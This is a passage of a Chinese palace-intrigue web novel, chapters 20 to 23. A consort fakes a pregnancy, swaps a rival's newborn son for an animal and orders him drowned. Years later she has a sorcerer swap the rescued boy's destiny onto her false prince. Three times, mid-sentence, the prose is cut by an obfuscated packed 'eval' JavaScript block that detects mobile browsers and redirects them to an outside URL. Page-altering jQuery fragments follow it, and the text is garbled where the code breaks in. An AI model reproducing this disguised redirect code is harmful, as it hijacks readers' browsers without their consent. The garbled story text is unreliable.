他丝毫没注意到,来给杜琼芝诊脉的张太医脸色有些不对,额上也频频冒汗。 杜琼芝瞥了张太医一眼,给兰英使了个眼色: “兰英,张太医匆匆前来为本宫诊脉,想必是累着了,快送张太医回去休息吧。” “是,娘娘。” 兰英会意,带张太医出去了。 一直送到门外,兰英停下脚步小声道:“张太医,可别忘了娘娘的嘱咐。” “是、是……” 张太医擦了擦汗,忐忑地离开了。 为了乡下的老母亲和幼子的前途,他不得不撒下弥天大谎。 毓秀宫内,萧辰走后,杜琼芝的笑脸立马消失了。 她伸手将肚子上绑的东西扯下,扔到了床的内侧,随后动作灵活地起身下床。 兰英刚好从外面进来,见状脸色微变:“娘娘,您怎么把那东西拿下来了,万一被人看到了……” “放心吧,陛下已经走了,这内室也只有你们几个能进来。” 杜琼芝摸了摸脖子:“这躺着演戏还真累人。” 兰英立马上前:“奴婢给您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989879|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按按。” 两人一坐一站,杜琼芝问道:“那户人家可已安排妥当了?” 兰芝边按边回:“奴婢已给了他们夫妇一笔钱,让他们好生养胎,守口如瓶。” “嗯,等临产前一个月,你和葛总管一起,将人带进宫来。记住,千万不能别人发现。” “是。” …… 时序轮转,八个月多后,深秋。 宫中氛围异常紧张。 陆妃和杜妃两位孕妇,先后隔了没几个时辰,都发动了。 只不过,陆妃所在的未央宫,是真的紧张忙碌,让人揪着一把汗。 而杜妃的毓秀宫内,表面一派慌张忙乱,实则却是暗流涌动。 萧辰一人分身乏术,决定先在陆妃宫外等候,同时派自己身边的大太监总管去杜妃那边看着。 杜琼芝在床上躺着,一边让兰英在自己脸和脖子处洒上细密的水珠,一边用力地大声喊叫着。 旁边的接生嬷嬷也配合着喊道:“娘娘,您再加把劲啊!就快出来了!” 一边喊,一边拿出提前备好的血浆,放入水盆中。 而太监总管葛进,则在离寝宫不远处的一个隐秘空间里候着。 葛进旁边还有一衣着朴素的妇人,她抱着刚出生没几天的婴儿,小心地哄着。 未央宫。 陆韫雪经历了三个多时辰的艰难战斗,终于顺利产下了一个男婴,之后便精疲力尽,沉沉睡去。 此时,已是深夜寅时。 在婴儿刚出产道,剪下脐带的瞬间,一个宫女趁所有人不注意,迅速将所有火光熄灭。 屋内顿时陷入了一片漆黑。 而就在刚刚,毓秀宫那边来了人,称杜妃情况十分危急,将萧辰给叫走了。 屋子一黑,产房内立马慌乱起来。 接生嬷嬷刚准备给孩子收拾一下,突觉后脑一紧,人顿时晕了过去。 黑暗中,一个身影趁乱将她手中的婴儿抱走,替换成了另一样大小差不多的东西。 随后,又将婴儿交给了早在暗处接应的另一人。 另一个毫不知情的宫女连忙跌跌撞撞地去找蜡烛。 一路摸索着,待屋内重新燃起烛火,明亮起来之后,她顿时双目大张,失声尖叫:“啊——!” 手里的烛台“哐当”一声掉在了地上。 掌事姑姑连忙伸脚去踩灭火苗,训斥道:“你个妮子,好好的叫什么,差点失火知不知道?” “姑、姑姑,你看那儿……” 宫女抬手指向地上的接生嬷嬷,结结巴巴。 “什么?” 掌事姑姑一扭头,顿时吓了一跳,连忙跑过去。 “怎么回事!?” “这、这是什么……” 望着那一团没有毛发,浑身褶皱,面目模糊可怖的东西,她呼吸停滞了半拍,随即跌坐在地,双目满含恐惧地抬头看了看床上的陆妃。 “娘娘她、她这是生下了一个什么啊……” 碧月也走到跟前,指着那团东西,双眸惊恐地睁大:“这该不会是妖怪吧。” 妖怪! 此言一出,在场的几人顿时更加害怕了,纷纷叫嚷着: “陆妃娘娘生的竟然是妖怪!” “快来人啊,陆妃娘娘生了个妖怪!” “有妖怪啊!” …… 接生嬷嬷被吵醒了,她摸摸疼痛的后脖颈,突然记起自己正在接生,连忙去看手中的胎儿。 “啊!!!” 待看清之后,她两眼一黑,又晕了过去。 未央宫上下,一片鸡飞狗跳。 尖叫声、哭泣声、惊呼声…… 人们奔跑着、碰撞着、呼喊着…… 萧辰去了毓秀宫,迎接他的是好消息——杜妃生了个儿子,母子平安。 他欣喜不已,当即下令重赏。 他小心地抱了抱闭眼沉睡的小婴儿,开心之余又想起另一边还有个孕妇,安抚了几句,便又匆匆往未央宫赶去。 刚到未央宫门口,萧辰就愣住了。 一片嘈杂混乱。 一个太监跌跌撞撞从里面跑出来,满脸惊恐地跪在他面前: “陛下,陆妃娘娘她、她生了个妖怪啊!” 萧辰不敢置信地重复了一遍:“妖怪……” “是啊,千真万确,那妖怪还在里头呢!” 脚步踉跄了几下,萧辰决定亲自去看看。 没多久,他脸色铁青、震怒不已地出来了。 沉默了半晌,萧辰缓缓开口道:“来人,将此妖孽即刻焚毁,有敢妄议此事者,严惩不贷!” …… 毓秀宫侧门,一个身穿黑斗篷的身影出现,她就是方才于灯灭之时,暗中与碧月交接婴儿的宫女翠岚。 她用斗篷将婴儿裹得严严实实,一路小心谨慎。 叩开门后,总管葛进将她迎进来。 “怎么样,没被人发现吧?” “葛总管放心,没人看见,现在未央宫都乱成一团了。” “干得好,翠岚。” “那…这孩子怎么办?” “娘娘有令。”葛进将手放在脖子上,做了个“杀”的手势,“你把他丢到金水河里,保准没多久就淹死了,到时再顺着护城河漂出去,就没人知道了。” “是,奴婢这就去办。” 两刻钟后,皇宫西北方向。 翠岚按照吩咐,来到金水河边。 怀里的小婴儿什么都不知道,睡得很香,丝毫不受外界打扰。 翠岚心里犹豫了一下,终究有些不忍。 可一想到杜妃的手段,她又不得不狠下心来。 “我也是迫不得已,要怪你就怪杜妃吧!” 她蹲下身子,咬咬牙,将怀中的婴儿扔进了水中。 翠岚没注意到,身后的草丛中,有一双眼睛正盯着她。 做完这一切,翠岚便匆匆返回。 她刚走,草丛中那双眼睛的主人露出了头。 这是住在附近院落的一名宫女,名叫绿荷。 方才她值夜时,碰巧瞥见了一个鬼鬼祟祟的黑衣人。 心下疑虑,绿荷便悄悄跟了上去。 待那人走后,出于好奇,也来到了河边。 看清了水中之物之后,绿荷登时瞪大了眼,差点没叫出声—— 那分明是个小婴儿,而且看样子才刚出生没多久。 21.第 21 章 所幸,因此处偏僻杂草丛生,水中也水草蔓延,这才拦住了婴儿,没让他漂出多远。 绿荷赶紧去旁边找了个棍子,勾住婴儿的衣服,将他弄上了岸。 天气寒凉,夜深露重,小婴儿冻得有些发紫。 “天杀的,这到底是什么人如此狠心,竟把刚出生的孩子扔到河里……这孩子也真是个命大的,都这样了也不哭不闹。” 绿荷担心孩子没气了,忙伸手去探了探。 幸好,还活着! 她一边念叨着,一边心疼地脱下自己的外衣,包在婴儿身上。这时,她突然想起方才那黑衣人的自言自语,好像提到了……杜妃? 杜妃,刚出生的婴儿…… 绿荷虽是伺候太妃的宫女,但关于杜陆二妃同时怀孕的事也略有耳闻。 她低头看了看那慢慢变红润的小脸,不敢去猜测这其中的惊天阴谋。 “这孩子,可怎么办才好呢……”思考了半晌,绿荷做出了决定。 她去厨房拿了个木盆,轻手轻脚地把裹着衣服的婴儿放进去,想了想,又摘下自己脖子上的银制长命锁,放在他身上。 然后将木盆放在水面上,略微使劲往前一推,木盆便顺着水流缓缓漂走了。 注视着渐渐远去的木盆,绿荷在心中默默祈祷:“希望你福大命大,要顺利活下来啊!” 不寻常的一夜过去了。 后宫发生了翻天覆地的变化。 在杜琼芝的精心布局和谋划下,任萧辰之后派人调查,也毫无破绽,坐实了陆韫雪产下妖孽之事。 三天后,朝堂之上。 萧辰高坐龙椅,面色阴沉,眼神冰冷如刀。 众臣噤若寒蝉,宣旨的声音响彻大殿。 “陆氏韫雪,入侍宫闱,本应恪守妇德,为天下女子之典范。然其行为不端,招致邪祟,竟产下非人之物。此事乃动摇国本、亵渎天家血脉之滔天大罪,实乃罪不容诛。然念其曾侍奉朕躬,姑且留其性命。着褫夺封号,废为庶人,即刻打入冷宫,非死不得出,其宫人一律遣散,一应用度,按罪妇之例供给,钦此!” 陆妃产下妖怪,惹怒圣颜,被打入冷宫。 杜妃产下皇子,圣心大悦,擢升为贵妃。 明眼人都看得出来,等皇子慢慢长大,这贵妃变皇后也是指日可待了。 一个月后。 毓秀宫。 “哇哇……哇哇……” 摇篮中的婴儿饿了,小嘴一撇,大声哭起来。 兰英在外面听到声音,连忙走进来,却见杜琼芝坐在椅子上望着窗外,任由孩子哭得脸都涨红了也纹丝不动。 她默默叹了口气,将婴儿抱起来,交给外间的奶娘喂奶。 孩子并不是亲生的,所以杜琼芝对他一点感情都没有。每每听到孩子哭了,杜琼芝就会觉得内心烦躁,根本不想去管他。 兰英走到她身边,劝道:“娘娘,奴婢知道您心里不舒坦。可如今既木已成舟,往后这孩子便就是您的了。就算是为了您自己着想,也得做做样子不是?否则时间长了,陛下怕是会起疑心的。届时,不仅功亏一篑,恐怕还会惹祸上身哪。” 杜琼芝无声地叹了口气,站起身吩咐道:“去看看奶娘喂好了没,喂好了便抱进来让本宫看看。” 兰英笑着道:“是,娘娘。” 她将婴儿递到杜琼芝面前,逗着孩子:“娘娘您看,这小脸蛋儿胖嘟嘟的,还挺可爱的。” 杜琼芝低头看去,襁褓中的婴儿褪去了刚出生的满脸红紫和褶皱,变得圆润饱满,一双黑溜溜的眼睛睁着,不知在看哪儿,粉嫩的小嘴不时发出“喔…喔…”的奶音。 看起来天真无邪,让人心中莫名一软。 杜琼芝脸色也变得柔和了起来,她张开手:“让本宫也来抱抱。” 兰英连忙小心地递过去,突然杜琼芝停下了:“等一下。” “怎么了娘娘?” 杜琼芝将手上又尖又长的指甲卸下,然后又重新伸出手:“好了。” 兰英顿时欣慰地笑了:“原来娘娘是怕指甲划着小皇子呢。” “可不是嘛,这小东西皮肤这么嫩,要是伤着了,哇哇大哭,本宫可要烦死了。” 兰英没说话,只一味笑着。 看来娘娘是愿意接受这个孩子了。 …… 时光飞逝。 一眨眼,六年的时间过去了。 小皇子萧旭也由婴儿长成了一个小男孩。 这六年,萧旭可以说是度过了无忧无虑的童年,每日锦衣玉食,奴仆陪玩,上树掏鸟窝,下水逮乌龟,玩得不亦乐乎。 不仅如此,小小年纪的他就已经颇具杜琼芝的风范,待人颐指气使,趾高气扬,稍有不顺心便吆五喝六,甚至动手动脚。 可怜那些下人,每日不光要费心尽力伺候小祖宗,耗尽体力陪他玩耍,还要在□□和精神上忍受来自他们母子二人的双重折磨,苦不堪言。 可在杜琼芝看来,萧旭那是精力旺盛,活泼爱动,桀骜不驯,有霸王风范。 萧辰每次来毓秀宫看望母子二人时,紧皱的眉头就没松开过。 他不止一次地跟杜琼芝说:“皇后啊,你身为一国之母、后宫之主,应当担负起管理的职责。可是你看看,旭儿现在被你教育的,顽劣不堪,目中无人,嚣张跋扈,哪里还有一丁点皇子该有的样子!” “你连自己的孩子都教育不好,还怎么管理后宫,怎么做到母仪天下!?” 萧辰语重心长地留下最后一句警告: “在其位谋其政。皇后若是没有这个能力,那朕就要考虑,是否还让你继续待在这个位置上了!” 萧辰说完,便将袖子一甩,沉着脸离开了。 杜琼芝顿时慌了。 这六年里,后宫其他妃嫔也陆续怀孕生子,一共诞下了两位皇子,三位公主。 凭借萧旭长子的身份,杜琼芝成功登上了后位。 但萧辰的一番话,让她有了危机感。若是孩子不成器,那么她这个皇后也就做到头了。 看着不远处正大呼大叫地把太监当马骑的萧旭,杜琼芝神情变得严肃起来。 “看样子,不能让旭儿再这么下去了……” 三天后,萧旭被送到了皇家学院,开始接受皇子们的必修课程。 每日卯初,天还未亮,就要起床去皇帝那里问安,接着便去崇文馆诵读功课,背完功课学礼仪,学完礼仪练书法。 一上午满满当当的课程安排结束了。 午时吃午饭,之后稍作休息。 但若是课程不过关,则要接受处罚,不得休息。 未时初,开启下午的课程——骑马、射箭、练习武艺,练完后还要接受皇帝父亲的抽查。 一直到酉时过半才结束,方可下学回宫。 萧旭向来顽皮好动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990630|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脾气骄横,只上了一天学就哭着喊着向杜琼芝诉苦。 “母后,孩儿不要去上学,太累了,还要挨打挨骂,我不要去了!” 萧旭眼睛都哭肿了,在地上撒泼打滚,谁劝都不听,一直哭闹个不停。 杜琼芝刚开始还心疼,后来也不耐烦了起来。 “旭儿,你是皇子,还是嫡长子,将来那是要当储君的,若是连这点苦都吃不了,还谈什么立储?” “哇哇……我不管我不管,我不要当什么储君,打死我也不去!” 萧旭坐在地上扭动着身子,嚎啕大哭。他根本还不懂什么是嫡长子,什么是储君,只是用自己小孩子的思维去拒绝。 可杜琼芝一听到那句“不当储君”,立马就变了脸色。 她冲到萧旭面前,扬起手打了他一巴掌。 “你在说什么!” “身为本宫的孩子,你竟然说出这样没出息的话,实在是太让本宫失望了!” 杜琼芝肩膀剧烈起伏,嘴角颤抖,气得快疯了。 看着哭得鼻涕眼泪糊了满脸的萧旭,杜琼芝脑海中闪过一丝厌恶与恨意。 “这个该死的孽障,果然是个扶不上墙的贱种泥胚!若不是为了这至尊后位,为了后半生的荣华富贵,本宫又怎会容你一个冒牌货在膝下承欢……” 萧旭虽年幼无知,但此刻也感受到了杜琼芝滔天的怒火,识趣地停止了哭闹,改为小声抽泣。 碧月连忙给翠岚使了个眼色。 翠岚拉起萧旭小声哄道:“殿下莫要哭了,奴婢带你去外边玩。” 萧旭被带走后,杜琼芝仍不解气。 她抚着心口道:“本宫自问对这个孩子一向不薄,可没想到他却如此不成器,一点儿都不为本宫着想,真真是枉费了本宫的一片心血!” 碧月走过去扶住她,柔声劝解道:“娘娘莫要跟小殿下置气,殿下不过是个六岁的孩子,哪里懂得那么多道理?况且如今殿下刚刚去上学,肯定一时半会儿难以适应,才会说出那种小孩儿心性的话。” “您往后对他严加管教,好生将道理说与他听,他定会体谅您的。” 杜琼芝坐下喝了口茶:“看来陛下说得没错,往日是本宫太过娇惯他了,才让他养成这个性子。若这孩子继续这样下去,将来怕是会毁了本宫……” 她眼里闪过一抹凌厉,吩咐道:“将他给我关到柴房好好反省,任何人不许求情,不许送食物和水,一直反省到本宫满意为止!” 这一天,向来娇生惯养的萧旭体会到了什么叫做惩罚。 待终于被放出来后,他整个人都快晕过去了,第二天还发起了高烧。 病好之后,萧旭似是长了教训,乖乖去上学,再不敢忤逆杜琼芝。 …… 三年后。 萧旭个头长高了,性子也有所改变。 他不再像儿时那样顽劣跋扈,却逐渐走向了另一个极端。 萧旭每日最怕的就是父皇的抽查。 “三天了,连一篇《大学之道》都背不下来,整日在干什么,一点儿不用心!” 御书房内,萧辰用力地将书往桌上一扔,“啪”的一声巨响,萧旭下意识地一哆嗦。 他动了动嘴唇,说不出话来,低下头不敢与父亲对视。 这样的情形,几乎每隔几天就会上演。 萧辰板着脸,看见萧旭那畏缩的样子,眉心拧得更紧了。 22.第 22 章 下午去演武场练习射箭骑马,萧旭又频频出错。 也不知是被父亲骂得还是怎么的,他连搭弓拿箭时手都微微发抖,更别提射中靶子了。 只听“咻”的一声,箭直直扎在了地上,离靶子尚有好大一段距离。 骑马的时候,他更是差点一头栽下马来,幸亏老师眼疾手快将他扶住,才避免受伤。 “哈哈哈哈……你们快看萧旭那个样子,好滑稽啊!” “背书被父皇骂也就算了,连马都骑不好,真是笨得要死!” “干啥啥不行,就这还大皇子呢,我看连普通人都不如,干脆叫废物好了!” “哈哈哈……废物皇子……” 一同练习的其他皇子和世子们,毫无留情地嘲笑着。 萧旭默不作声地下了马,任凭刺耳的笑声与不屑的辱骂传入耳中,却不敢反抗。 好不容易捱到下学,他拿起没背完的书本,默默地走出大门。 回到毓秀宫,迎接他的不是温暖的关心,而是习以为常的质问与斥责。 见他手中拿着书,一脸怏怏地回来,杜琼芝脸色倏然一沉。 “今日的功课又没背完?” “是……” 萧旭垂下头,小声回道。 “你这孩子是怎么回事,天天都背不完功课,事事都落在别人后面。” “旭儿,你到底有没有用心在学,再这样下去母后的脸都要被你丢光了!” 萧旭的眼眶里蓄满了泪水,他拼命想忍住,却还是失败了。 “母后,是孩儿没用,让母后失望了……” “孩儿…呃…会努力的……” 萧旭一抽一抽地回道,滚烫的泪水自下巴滴落。 见他这可怜兮兮的样子,杜琼芝不好再继续说什么,转身走了。 “背完早点休息吧。” 夜深人静,萧旭躺在床上,怎么也睡不着。 “为什么我会这么没用……难道我真的像他们说的,是个废物吗……” 本就天赋不高,父皇母后又严厉要求,再加上兄弟们的嘲笑,萧旭的情况日益恶化。 在萧旭满十岁这年,萧辰几乎对他失望到极点,甚至产生了放弃的念头。 毓秀宫内。 萧辰坐在杜琼芝旁边,眉头紧锁,无奈地叹了口气。 “皇后,旭儿是朕的第一个孩子,朕从小看着他长大,可以说是对他寄予厚望。这么些年了,他的表现如何,想必你我心里都清楚。” 杜琼芝敏感地从萧辰的话语中听出了不满,着急地辩解:“陛下,旭儿他很是用功——” 萧辰摆了摆手,打断她:“你听朕说。” “朕知道旭儿很用功,可是身为皇子,他的资质实在太低了,甚至…甚至说是愚钝也不为过。” “况且旭儿如今的性格,也太过怯懦胆小,总是唯唯诺诺、局促畏缩。你说说,自古以来有哪个储君是像他这样的?” “别说其他皇子了,就是一般读书人家的孩子都比他好上几倍啊!” 杜琼芝猛然抬起头,不安地问道:“陛下,您的意思是……” 莫非是要立其他皇子为储?! 萧辰点了点头:“看来皇后也猜到朕的想法了。” “论资质、论品性、论才学,旭儿都远在其他皇子之下,这储君之位,朕恐怕要再好好想想……” 杜琼芝惊慌失色,连忙着急地说道:“陛下,自古皇位继承都是立嫡立长,旭儿可是嫡长子,这储君之位理应是他的呀!” 萧辰面露不悦地反驳道:“嫡长子又如何?除了这个嫡长子的身份,他还有别的任何优点吗,他根本就难当此任!” 他站起身,冷哼了一声:“若是仅凭嫡长而不顾其他,就算让他当了皇帝,将来祖宗打下的社稷基业也会毁在他手里!” 见萧辰似乎下定了决心,杜琼芝不敢再继续为萧旭说话,只得放低姿态。 她“扑通”一声跪在萧辰面前:“陛下息怒,旭儿变成如今这个样子,都是我这个当母亲的没有教育好,是我的失职。” “恳请您看在臣妾的面子上,再给他一点时间吧,我一定会让他好好改!” 她抬起头,满眼哀求:“再给他些时间吧,一年,不——半年就够了,求您了!” 萧辰沉默了片刻,沉声道:“三个月。” “三个月后,若仍是毫无长进,朕会另立储君。” 杜琼芝连连点头:“谢陛下!” 目送萧辰离开,杜琼芝坐回榻上,扶着额头,只觉一阵头疼心焦。 “只有三个月,该如何是好……” 萧旭躲在门外面听到了一些,他有些担心,等父皇走了,他走进屋子,躲在博古架后面探头张望。 见杜琼芝一脸焦灼,萧旭咬了咬嘴唇,心中更加难受。 正当他想悄悄离开不打扰母后时,不小心碰到了架子下的花盆。 “是谁在那?” 身后传来杜琼芝的质问。 萧旭只好转过身去,躬身行礼:“母后,是孩儿。” 见萧旭恭敬谨慎的样子,杜琼芝突然有些心疼和愧疚。 自己是不是对这孩子太过于苛责了?若不是这样,他也不会养成如今这般谨小慎微、沉闷寡言的性子…… 她向萧旭招招手:“旭儿过来。” 萧旭脚步迟疑地过去,却意外地没迎来熟悉的呵斥。 “旭儿,是母后把你逼得太紧了,今日就不温习功课了,去院子里玩会儿蹴鞠吧。” …… 萧旭走后,杜琼芝吩咐下人:“让人备辇,本宫要出去一趟。” 一刻钟后,杜琼芝坐上辇车,往一处僻静的小院去了。 车子一晃一晃,杜琼芝闭上眼睛,思绪纷飞。 三个月的时间,想让旭儿达到陛下满意,无异于脱胎换骨,想必是不可能了。 既然天资和性格无法一下子改变,那就得从其他途径想办法……不管怎样,也得把旭儿的储君之位保住,无论用什么手段! “娘娘,到了。” 杜琼芝缓缓睁开眼,提起裙摆下了辇。 “皇后娘娘驾到!” 听见声音,宋青阳连忙从室内快步走出,向杜琼芝行礼:“皇后娘娘千岁,万福金安!” “起来说话。” “谢娘娘。” 杜琼芝摆摆手,屏退了所有下人,只留下了碧月。 屋内只剩她和宋青阳二人。 “不知娘娘今日驾临,是为何事?” “本宫想请宋大师帮一个忙,不知大师可有空?” “为娘娘分忧,乃小民之本分。” “事态急迫,本宫也不再绕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995684|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯子了。大师师承高人,想必本领高强,不知可会换命借运之类的法术?” 宋青阳有些惊讶:“换命借运……”娘娘怎么会突然想到这个? 他顿了顿,回道:“回娘娘,换命借运之术,小民的确略知一二,只不过……” “只不过什么?” “此术是以人力篡改天道,颇为损耗功德,使用者会遭到反噬,所以一般很少有人使用。” “原来如此。”杜琼芝点了点头,又带着恳切继续道:“本宫知道这对大师来说有些为难,可眼下本宫实在是走投无路,还望大师能解燃眉之急!” 宋青阳问:“不知皇后娘娘是想为何人使用此术呢?” “还不是为了我那孩儿……” 杜琼芝将萧旭的情况和盘托出。 “原来是大殿下。” 宋青阳摸了摸下巴,若有所思。 当年用黄皮子换皇子之事,宋青阳也参与了一部分,不过双妃生产那天,他并未到场,此后更是很少与他们母子二人直接接触。 没想到时隔多年,皇后娘娘一来就提出了这么一个要求。 换命借运,着实是有风险啊…… 杜琼芝见宋青阳沉吟良久,迟迟未应,知道他心中犹豫,便说道:“大师若有什么顾虑还请直言。本宫答应你,只要助旭儿度过此关,顺利立储,将来你就是当朝大国师,享有无上的荣誉与尊严,本宫还会专门建造一座宫殿,供大师修炼所用。” 宋青阳顿时双眼一亮,显然有些动心:“大国师?娘娘您说的可是真的?” “千真万确,本宫以我们母子二人的前程担保,还望大师鼎力相助!” 杜琼芝信誓旦旦地说道。 “承蒙皇后娘娘器重,小民甘愿为娘娘和大殿下效劳!” 权衡利弊之后,宋青阳决定冒此风险,答应了杜琼芝所请。 “事不宜迟,还请大师立刻着手去办,旭儿的命运就交给大师了!” “娘娘放心。” 宋青阳又道:“借命换运之术需双方的生辰八字,还请娘娘把大殿下的生辰八字写下来。” 杜琼芝向门外唤道:“碧月,你进来。” “娘娘唤奴婢何事?” “你去把大殿下的生辰八字写下来交予宋大师。” “是。” 宋青阳问:“还有就是,娘娘想将何人的命借给大殿下呢?” “这……本宫一时还没想好。”杜琼芝思索了一会又道,“照陛下昨天的意思,定要找一个天资聪颖,品性端正,器宇不凡的人才好。” “最好比其他几个皇子还要优秀,如此才能胜过他们,成为当之无愧的继承人!” 说完杜琼芝又看向宋青阳:“关于人选,大师您可有什么想法?” 宋青阳微微摇头:“娘娘说的这种人,乃人中龙凤,凤毛麟角,恐怕一时很难找到。” 他忽而目光一闪:“不过小民还真想到一人,命格极好,贵不可言,气运通天,乃天命所归,可惜啊……” 陆妃怀孕时,宋青阳曾见过她。 当时他给陆妃肚子里的孩子算了一卦,当场就被其命格给惊到了—— 此子绝非俗人,乃“九五飞龙格”,真真是紫薇临凡,真龙天子之命! 杜琼芝一听,急忙追问道:“这人是谁?可惜什么?” 23.第 23 章 宋青阳面露遗憾,又看向杜琼芝:“这个孩子娘娘也很熟悉,他就是当年您用黄皮子换的人。” “你是说……陆韫雪的儿子?” “正是。” 杜琼芝先是吃惊,后又觉得嫉愤,一股酸涩怨念翻涌。 命格极好,天命所归…… 她陆韫雪的孩子,凭什么就能有这么好的命? 这么多年了,自己却一儿半女都没有,好不容易弄了一个孩子冒充,却又是个没出息的蠢货,让自己为他操碎了心不说,还得落到求人替他换命的地步…… 为什么,陆韫雪那个贱人,都死了还要压自己一头! 为什么! “娘娘,您没事吧?” 见她面色如霜,双拳握紧,宋青阳问道。 “本宫无事。” 杜琼芝回过神来,想到那个孩子的结局,又勾起了唇角。 呵,天命所归又如何,早就死了的人,还谈什么天命所归。再好的命格,还不是被本宫给毁了! 她缓缓开口道:“人各有命,都已经死了的人,还提他做什么。宋大师,这世上人才济济,难不成还找不到一个合适的?” 宋青阳尴尬地笑了笑:“娘娘说的是。” 他拿起碧月写的纸条,仔细看了看萧旭的生辰八字,眉头微皱。 平民之子,的确命格平庸,难当大任。 看来,要找一个合适的人为他换命,还需费一番工夫。 他抬头问道:“娘娘可还记得陆妃之子的生辰八字?我打算照着此子命格去找相近的,这样既快又有效。” 杜琼芝看向碧月,碧月回道:“奴婢记得,这就去写。” 拿到之后,宋青阳掐指闭眼默算着,忽然呼吸一滞,猛然睁开眼。 “大师,怎么了这是?” 宋青阳的语气有些不可置信:“此子、此子没死,还活着!” “什么?!” 杜琼芝一下子站起身来。 “怎么会……他怎么会没死呢?!” “大师,你是不是算错了?” 宋青阳摇头:“没有错,虽然气息不是很强烈,但我敢保证,他还活着。” 杜琼芝眼神一下狠厉起来,咬着牙道:“碧月,去把翠岚给我叫过来!” 当年明明交待得清清楚楚,那个孩子留不得,翠岚究竟是怎么办事的…… 不一会儿,翠岚进来了。 她只听碧月说娘娘有事问她,却不知是何事,刚准备开口,就见杜琼芝阴沉着脸向她走来。 手高高扬起——“啪!” 翠岚抚着火辣辣的脸颊,惶恐疑惑地跪下:“娘娘息怒,奴婢可是有哪里做得不对……” “你还有脸问本宫,抬起头来!”杜琼芝怒火中烧,质问道,“当年那个孩子,本宫明明交待要处理掉,你为什么将他放走,你好大的胆子!” 翠岚摇着头,带着哭腔回道:“奴婢怎敢违背娘娘的话,当日奴婢按照葛总管的吩咐,去了金水河边,将那孩子扔在了河里。” “一个刚出生的婴儿,在又冷又深的河里,怎么可能活下来?奴婢说的句句属实,请娘娘明鉴,若有半句虚言,叫我不得好死!” 翠岚极力为自己辩解,趴在地上连连磕头,不一会儿额头就红肿了。 杜琼芝眼睛微眯:“也就是说,你并没有亲眼看到那小家伙死了?” 翠岚抬起头:“奴婢在那等了好一会儿,见没有任何动静才回来的。” “那这究竟是怎么回事?!难不成是谁把他给救了……”杜琼芝猜测着,随即又焦躁地坐下。 不行,斩草未除根,势必会对本宫造成威胁,本宫要想办法…… 她不悦地看着翠岚,吩咐道:“来人啊,把这个办事不力的奴才给我拉下去,杖责三十大板,随后逐出宫去!” 这时,宋青阳站起身来劝道:“娘娘息怒,请听小民一言再做决定也不迟。” “大师要说什么。” “小民以为,娘娘不必为此担忧惊慌,这孩子还活着未必是坏事。” “哦?此话怎讲。” “正如方才所说,此子命格极好,若将他的命借予大殿下,不是正好吗。”宋青阳微微笑着:“如此一来,大殿下往后必能日新月异,步步高升,将储君之位收入囊中。” “届时,娘娘您就可以高枕无忧了。” 杜琼芝眉头微皱,思索着宋青阳的话:“这样做对旭儿有没有影响?还有那陆妃之子,事成之后,要不要派人找到,杀了他……” 宋青阳回道:“换命初期,大殿下可能要适应一段时间,但最多两月就会一切如常。” “至于那孩子,也不值得娘娘忧虑。被换命者魂魄不稳,体虚气弱,灾厄缠身,活不了多长时间。他如今应当远在千里之外,到时恐怕不用娘娘去找,他就已经殒命了。” 听宋青阳这么说,杜琼芝才放下了心。 她点点头:“既如此,那就劳烦大师抓紧时间,本宫替旭儿谢过大师了。” 接着,她又扭头看向趴在地上的翠岚,冷声道:“翠岚,你虽办事不力,但幸好命不该绝,歪打正着。本宫今天就看在宋大师的面子上,饶你一命,还不快谢过宋大师!” 翠岚连忙向宋青阳磕头:“谢谢娘娘,谢谢大师!” …… 之后,宋青阳就以萧旭和陆妃之子的生辰八字为引,为二人实施了换命术。 自那以后,萧旭慢慢地变了,无论是文才武学,还是待人接物,都有了长足的进步,甚至渐渐有超过其他皇子的势头。只不过,这些都是靠宋青阳的邪术所获得的外在助力,萧旭内在的人格仍旧没变。因此,熟悉萧旭的人,就会有一种割裂感。 但这也没有影响萧旭凭借出色的才干,顺利成为太子。 萧旭二十岁那年,萧辰病逝,萧旭顺理成章即位,杜琼芝成为太后。 宋青阳也如愿以偿从一介平民成为当朝大国师。 但因换命术乃邪术,宋青阳使用之后,不可避免地遭受了反噬——他迅速地苍老了二十岁。 原本是三十出头的青壮年,一下子变成了年过半百的中老年人。 等萧旭即位之后,宋青阳已须发皆白,脸上满是皱纹。 所以鬼婴才会称呼宋青阳为白胡子老爷爷,谁能想到,那个样子的宋青阳不过才五十多岁呢! …… 李令曦回到刚收拾好的新居处——灵犀阁,就看见雪芽忙碌的身影。 “大人,您回来了!”雪芽迎上来,“您一定累坏了,奴婢给您倒点水。” “嗯,多谢。” 李令曦进屋休息了会,脑海中还在思索着下一步该如何做。 